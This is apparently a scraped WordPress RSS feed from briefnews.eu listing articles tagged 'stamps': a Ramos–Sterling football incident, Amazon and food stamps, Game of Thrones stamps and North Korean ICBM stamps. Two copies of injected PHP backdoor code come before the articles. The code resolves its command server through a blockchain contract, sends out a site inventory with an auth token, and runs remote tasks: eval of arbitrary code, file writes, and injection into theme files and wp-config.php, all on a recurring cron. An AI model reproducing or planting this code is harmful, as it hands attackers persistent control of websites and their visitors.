// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); stamps – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 15 Oct 2018 21:52:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png stamps – Brief News https://briefnews.eu 32 32 Sergio Ramos STAMPS on Raheem Sterling: Did you see OUTRAGEOUS act missed by ref? https://briefnews.eu/sergio-ramos-stamps-on-raheem-sterling-did-you-see-outrageous-act-missed-by-ref/ https://briefnews.eu/sergio-ramos-stamps-on-raheem-sterling-did-you-see-outrageous-act-missed-by-ref/#respond Mon, 15 Oct 2018 21:52:56 +0000 http://briefnews.eu/sergio-ramos-stamps-on-raheem-sterling-did-you-see-outrageous-act-missed-by-ref/

The incident took place in the second half of England’s UEFA Nations League tie in Spain.

Ramos, who was already unpopular with Liverpool fans after his treatment of Mohammed Salah in the Champions League final, appeared to attempt to stamp on Sterling’s foot as the Manchester City star lay on the ground.

Fans were shocked to see the defender go over to Sterling as he lay on the turf following a challenge, and appear to stamp on the England star’s foot.

Real Madrid defender Ramos had been having a torrid game at the point of the ‘stamp’.

In the first half he was taken out by Eric Dier in his own penalty area, with the Spurs man receiving a booking despite planting what looked like a strong but fair challenge on his opponent.

Sterling scored a first-half brace as England went into half time 3-0 up, and the stamp incident occurred when the Three Lions were leading 3-1.

Sterling had gone three years since his last England goal, and blasted Gareth Southgate’s men into the lead with the first 16 minutes in.

The Manchester City forward skipped through the Spain defence before smashing home past David De Gea.

Ramos almost had the last laugh, as his goal in the dying seconds of the game brought Spain back to 3-2 down and chasing an equaliser.

However, the moment he started celebrating, the referee blew for full-time.

Despite Spanish protests, the game ended 3-2 as England earned a valuable three points in their Nations League group.

Speaking after the game, Sterling said: “We went at them straight from the beginning and we were clinical.

“We finished our chances we needed to.

“It was a beautiful feeling to score, I put pressure on myself, it’s my position to score goals.

“It means a lot to me. Three years is a long time not to score.”

He then spoke to Radio 5Live and said: “It’s an incredible night.

“The boys showed real confidence to go out there against a really good side and not just play, to compete. We had a good World Cup and could have done even better but we are going in the right direction.

“I haven’t scored for a while for England so it was frustration, all the pressure, it all comes out in the celebration. There is nothing better than scoring in an England shirt. We showed energy, effort and courage to get on the ball.

“As a forward you go through patches but I am forgetting about looking nice, getting in behind and causing havoc.”

And Twitter users reacted with fury when they saw the incident between Ramos and Sterling.

One fan wrote: “Anyone see that ramos stamp on Sterling or just me?”

Another put: “Well this is going to f*** with the scousers heads! Ramos purposely going to stamp on sterling”

A third said: “The classic Messi stamp on Raheem. Ramos basically confirming our boys elite and he needs studs to stop him.”

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]]> https://briefnews.eu/sergio-ramos-stamps-on-raheem-sterling-did-you-see-outrageous-act-missed-by-ref/feed/ 0 The Truth About Amazon, Food Stamps, and Tax Breaks https://briefnews.eu/the-truth-about-amazon-food-stamps-and-tax-breaks/ https://briefnews.eu/the-truth-about-amazon-food-stamps-and-tax-breaks/#respond Fri, 07 Sep 2018 02:27:13 +0000 http://briefnews.eu/the-truth-about-amazon-food-stamps-and-tax-breaks/ Bernie Sanders wants companies like Amazon to pay when their employees rely on public benefits, but the retail giant benefits even more from economic incentives offered by local politicians.


https://media.wired.com/photos/5b888272d352a93af0bd48b6/master/pass/Amazon-Unfair-Wages-825338428.jpg

]]> https://briefnews.eu/the-truth-about-amazon-food-stamps-and-tax-breaks/feed/ 0 These Are The Coolest Passport Stamps In The World https://briefnews.eu/these-are-the-coolest-passport-stamps-in-the-world/ https://briefnews.eu/these-are-the-coolest-passport-stamps-in-the-world/#respond Sun, 06 May 2018 14:16:49 +0000 http://briefnews.eu/these-are-the-coolest-passport-stamps-in-the-world/

These Are The Coolest Passport Stamps in the World

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]]> https://briefnews.eu/these-are-the-coolest-passport-stamps-in-the-world/feed/ 0 Royal Mail is releasing 15 Game of Thrones stamps — take a look https://briefnews.eu/royal-mail-is-releasing-15-game-of-thrones-stamps-take-a-look/ https://briefnews.eu/royal-mail-is-releasing-15-game-of-thrones-stamps-take-a-look/#respond Wed, 03 Jan 2018 12:57:05 +0000 http://briefnews.eu/royal-mail-is-releasing-15-game-of-thrones-stamps-take-a-look/ game of thrones stamp jon snowRoyal Mail

  • Royal Mail has announced the release of 15 first class stamps featuring images from Game of Thrones. 
  • The images on the stamps were made specifically for Royal Mail. 
  • They are being released to celebrate the British contribution to the show’s production. 

If you’re missing “Game of Thrones,” the Royal Mail has announced some good news for fans who are patiently waiting for the eighth and final season of the TV phenomenon.

A set of 15 first class stamps featuring images from the hit HBO series will be released later this month. The one-of-a-kind collection will incorporate the show’s most famous names as well as scenes from Westeros and many of the biggest plot lines.

10 of the stamps will feature bespoke images focused on individual characters from all seven seasons in the “Game of Thrones” series. The familiar faces included are: Sansa Stark, Jon Snow, Eddard Stark, Olenna Tyrell, Tywin Lannister, Tyrion Lannister, Cersei Lannister, Arya Stark, Jamie Lannister, and Daenerys Targaryen.

A sheet of five additional stamps will feature the non-human characters in the series including the Night King and White Walkers, Direwolves, Dragons and the Iron Throne itself. And yes, like all Royal Mail Special Stamps, these designs have been approved by the Queen.

game of thrones stamp 1Royal Mail

The Royal Mail says it is releasing the GoT-themed stamps to celebrate the significant British contribution to the production of the series. Much of the filming takes place at Titanic Studios in Belfast, at the Linen Hill Film Studio in Banbridge and on location elsewhere in Northern Ireland. Further afield locations include Spain, Croatia and Iceland.

Alongside the new-look first class stamps, the mail service is also launching framed versions, prints and even a stamp book for die-hard fans and collectors.

game of thrones stamp dire wolvesRoyal Mail

The stamps can be pre-ordered now at royalmail.com/gameofthrones and will be available from post offices nationwide from January 23, 2018.

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]]> https://briefnews.eu/royal-mail-is-releasing-15-game-of-thrones-stamps-take-a-look/feed/ 0 N. Korea releases stamps marking latest ICMB launch (PHOTOS) https://briefnews.eu/n-korea-releases-stamps-marking-latest-icmb-launch-photos/ https://briefnews.eu/n-korea-releases-stamps-marking-latest-icmb-launch-photos/#respond Sun, 31 Dec 2017 09:16:26 +0000 http://briefnews.eu/n-korea-releases-stamps-marking-latest-icmb-launch-photos/

North Korea has released stamps celebrating the recent launch of the Hwasong-15 ICBM, which it claims is capable of hitting the US mainland. Apart from the missile, the stamps show the North Korean leader overseeing the test.

North Korea fired the Hwasong-15 intercontinental ballistic missile (ICBM), which splashed down in the Sea of Japan, in late November. Pyongyang claims the missile reached an altitude of 4,475 kilometers and flew 950 kilometers during its flight, which lasted 53 minutes. The stamps marking the launch were issued by the State Stamp Bureau of North Korea, KCNA state news agency reported on Saturday.

The words on the stamps read: “Accomplishment of the historic cause of completing the state nuclear force” and “Successful test-launch of new-type ICBM Hwasong-15.” The stamps show the Hwasong-15 “soaring into the sky,” as well as the 9-axis self-propelled launcher “manufactured by the Korean working class,” KCNA reports. The stamps also feature North Korean leader Kim Jong-un, who gives “an autographic order for the test-fire.”

READ MORE: North Korea releases photos of ICBM from latest test ‘capable of striking US’

North Korea says the Hwasong-15 is capable of striking anywhere on the US mainland. Perfecting the technology, as Pyongyang claims, is a major breakthrough that tilts the balance of power on the Korean Peninsula, potentially giving North Korea a nuclear deterrent against the United States. The apparent milestone came as a surprise for many Korea watchers, who expected Pyongyang to achieve it sometime after 2020. The other launches that took place in 2017 were of the shorter-range Hwasong-14 missile and the intermediate range (IRBM) Hwasong-12.

Leading world powers, including Russia, condemned the launch of the Hwasong-15. Kremlin spokesman Dmitry Peskov called it “a provocative act that triggers further escalation and moves us further away from crisis settlement.” “We do condemn the launch and hope all the parties will exercise restraint which is so much needed to prevent the situation in the Korean peninsula from going the worst way,” he added.

READ MORE: N. Korea: ICBM test used new launch vehicle, warhead able to re-enter Earth’s atmosphere

US President Donald Trump said the missile test is “a situation that we will handle,” and that it will not change his approach to the crisis on the Korean Peninsula. “I will only tell you that we will take care of it.”

Moscow is concerned about Washington’s belligerent rhetoric towards Pyongyang under the current administration. Russia says both parties should offer concessions, with the US pausing its war games in the regions and North Korea pausing further nuclear and missile tests as a confidence-building measure that would allow direct talks to start.

READ MORE: New UNSC resolution slashes oil & petroleum supplies to N. Korea over missile launch

The UN Security Council unanimously imposed a new round of economic sanctions on North Korea following the test launch. The resolution bans nearly 90 percent of refined oil product into Pyongyang.

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]]> https://briefnews.eu/n-korea-releases-stamps-marking-latest-icmb-launch-photos/feed/ 0 Bo Levi Mitchell looks to become 1st Stamps QB to win 2 Grey Cups https://briefnews.eu/bo-levi-mitchell-looks-to-become-1st-stamps-qb-to-win-2-grey-cups/ https://briefnews.eu/bo-levi-mitchell-looks-to-become-1st-stamps-qb-to-win-2-grey-cups/#respond Fri, 24 Nov 2017 00:07:20 +0000 http://briefnews.eu/bo-levi-mitchell-looks-to-become-1st-stamps-qb-to-win-2-grey-cups/ Should Bo Levi Mitchell lead Calgary to a Grey Cup win on Sunday, he’ll become the first quarterback in Stampeders’ history to win two championships.

“It surprised me hearing that because there have been a lot of great quarterbacks who have played on this team,” Mitchell said. “I want to focus on one Cup and it’s this one here.”

